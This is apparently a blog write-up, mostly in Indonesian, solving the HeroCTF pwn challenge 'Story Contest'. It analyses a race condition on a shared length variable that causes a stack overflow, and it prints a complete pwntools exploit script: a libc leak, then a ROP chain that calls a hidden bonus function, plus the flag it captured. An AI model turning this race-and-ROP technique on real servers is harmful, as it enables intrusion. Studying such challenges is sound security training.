HeroCTF Write-Up: Story Contest (Pwn)
Category: Pwn
HeroCTF Write-Up: Story Contest (Pwn)
Category: Pwn
Difficulty: Medium
Technique: Race Condition (TOCTOU), Stack Buffer Overflow, ROP (Ret2Libc & Logic Bug)

1. Overview & Reconnaissance
Tantangan ini memberikan dua file: binary storycontest dan library libc.so.6 . Binary ini merupakan server multi-thread yang memungkinkan pengguna mengirimkan “cerita” (text story).
Security Check Langkah pertama adalah memeriksa mitigasi keamanan binary:
$ checksec — file=storycontest
Arch:md64–64-little
RELRO: Partial RELRO
Stack: No canary found -> Vuln
NX: NX Enabled
PIE: No PIE -> NICE (Static Address)
2. Vulnerability Analysis
Setelah melakukan reverse engineering dengan radare2 / ghidra pada fungsi sym.submit_story , ditemukan logika berikut:
- User diminta memasukkan panjang cerita ( length )
- Program memvalidasi: if (length > 128) error();
- Jika valid, program menyimpan panjang tersebut ke dalam Global Variable ( obj.g_story_len ).
- Program melakukan usleep(500000) (Tidur selama 0.5 detik).
- Program membaca input cerita sebesar obj.g_story_len ke dalam buffer stack lokal.
The Bug: Race Condition (TOCTOU)
Masalah utamanya adalah penggunaan Global Variable pada server Multi-thread ditambah dengan jeda usleep.
- Time-of-Check: Validasi size dilakukan di awal.
- Time-of-Use: Pembacaan input ( read ) dilakukan setelah tidur 0.5 detik
Skenario Serangan:
- Thread A (Korban): Mengirim size valid ( 50 ). Program menyimpan 50 ke global variable, lalu Sleep
- Thread B (Penyerang): Saat Thread A Sleep, Thread B mengirim size besar ( 500 ). Program menimpa global variable menjadi 500 .
- Thread A (Bangun): Melanjutkan eksekusi read() . Namun, ia membaca global variable yang sekarang bernilai 500
- Overflow: read(500) dipanggil ke buffer yang hanya berukuran 128 bytes. Terjadilah Stack Buffer Overflow.
3. Exploitation Strategy
Awalnya saya mencoba melakukan ROP chain standard untuk mendapatkan shell ( system(“/bin/sh”) atau One Gadget). Namun, server sepertinya menggunakan seccomp atau filter yang mematikan koneksi (EOF) saat syscall execve dipanggil. Melihat deskripsi soal “maybe you’ll be rewarded accordingly”, saya menganalisis ulang binary dan menemukan fungsi menarik
The Hidden Feature: sym.bonus_entry
0x00401608 cmp qword [arg1], 0x1337c0de
0x00401612 mov dword [obj.bonus_enabled], 1
Fungsi ini tidak dipanggil di menu manapun. Jika kita memanggilnya dengan argumen 0x1337c0de , variable bonus_enabled menjadi aktif
Selanjutnya ada fungsi sym.show_public_results . Jika bonus aktif, fungsi ini akan mencetak flag ke user!
Final Plan (Ret2Win):
Leak Libc: Kita butuh gadget pop rdi untuk mengisi argumen fungsi bonus. Gadget ini tidak ada di binary, jadi kita harus leak Libc.
- Gunakan bug Race Condition untuk lompat ke sym.gift
- sym.gift menyalin alamat stdout ke global variable.
- Baca global variable lewat menu 3) Show jury info
Activate Bonus
- Race Condition lagi -> ROP Chain.
- Panggil sym.bonus_entry(0x1337c0de)
Get Flag
- Lanjut di ROP Chain yang sama.
- Panggil sym.show_public_results(FD) .
- Karena kita tidak tahu File Descriptor (FD) socket kita (biasanya 3, 4, atau 5), kita panggil fungsi ini 3 kali berturut-turut ( FD=3, FD=4, FD=5 ).
- Full Exploit Script
from pwn import *
import time
# --- CONFIG ---
host = "dyn12.heroctf.fr"
port = 10180
exe = ELF("./storycontest")
libc = ELF("./libc.so.6")
context.binary = exe
context.log_level = 'info'
def conn():
return remote(host, port)
# Helper untuk koneksi cepat (Pre-Connect)
# Mengurangi latensi saat Race Condition
def prepare_connection():
r = conn()
r.sendlineafter(b"> ", b"1")
return r
def solve():
libc.address = 0
# === PHASE 1: LEAK LIBC ===
log.info("Phase 1: Leaking Libc...")
# Loop retry jika timing race condition meleset
while libc.address == 0:
try:
r1 = prepare_connection() # Thread Victim
r2 = prepare_connection() # Thread Attacker
# Race Condition Trigger
r1.sendline(b"50") # Set valid size
time.sleep(0.1) # Critical Timing
r2.sendline(b"500") # Overwrite global size
r2.close()
# Payload Leak: Jump ke sym.gift
# Padding 168 = 160 Buffer + 8 Saved RBP
padding = b"A" * 168
RET_GADGET = 0x0040101a # Stack Alignment
payload_leak = padding + p64(RET_GADGET) + p64(exe.sym['gift'])
r1.recvuntil(b"story:")
r1.send(payload_leak)
time.sleep(0.5)
r1.close()
# Baca Leak via Menu 3
r3 = conn()
r3.sendlineafter(b"> ", b"3")
response = r3.recvall(timeout=3)
r3.close()
if b"Jury gift: " in response:
start_idx = response.find(b"Jury gift: ") + 11
leak = int(response[start_idx:].split(b"\n")[0], 16)
libc.address = leak - libc.sym['_IO_2_1_stdout_']
log.success(f"Libc Base: {hex(libc.address)}")
break
except Exception:
pass
# === PHASE 2: CLAIM REWARD (INTENDED SOLUTION) ===
log.info("Phase 2: Activating Bonus & Claiming Reward...")
try:
r4 = prepare_connection()
r5 = prepare_connection()
# Race Condition lagi untuk RCE
r4.sendline(b"50")
time.sleep(0.1)
r5.sendline(b"500")
r5.close()
# --- ROP CHAIN LOGIC ---
rop = ROP(libc)
# 1. ENABLE BONUS: sym.bonus_entry(0x1337c0de)
MAGIC_VAL = 0x1337c0de
rop.call(exe.sym['bonus_entry'], [MAGIC_VAL])
# 2. SHOW RESULT: Bruteforce FD (3, 4, 5)
# Salah satu pasti socket kita
rop.call(exe.sym['show_public_results'], [3])
rop.call(exe.sym['show_public_results'], [4])
rop.call(exe.sym['show_public_results'], [5])
# Rakit Payload
padding = b"A" * 168
payload = padding
payload += p64(RET_GADGET) # Alignment Fix
payload += rop.chain()
r4.recvuntil(b"story:")
r4.send(payload)
log.success("Payload Sent! Waiting for Flag...")
# Baca Output
print(r4.recvall(timeout=5).decode(errors='ignore'))
except Exception as e:
log.error(f"Error: {e}")
if __name__ == "__main__":
solve()
FLAG FOUND!!!!!!
[*] Payload Sent! Waiting for Flag...
[+] The jury announces the winner! Flag: Hero{971e70feb761e8daf0abcb7eb7376bff2} 메타데이터
- post_id
- 3a42edd088f8
- slug
- heroctf-write-up-story-contest-pwn-3a42edd088f8
- url
- https://medium.com/@rsafei731/heroctf-write-up-story-contest-pwn-3a42edd088f8
- canonical_url
- https://medium.com/@rsafei731/heroctf-write-up-story-contest-pwn-3a42edd088f8
- author_url
- https://medium.com/@rsafei731
- status
- ok
- fetched_at
- 2026-06-14 16:15:44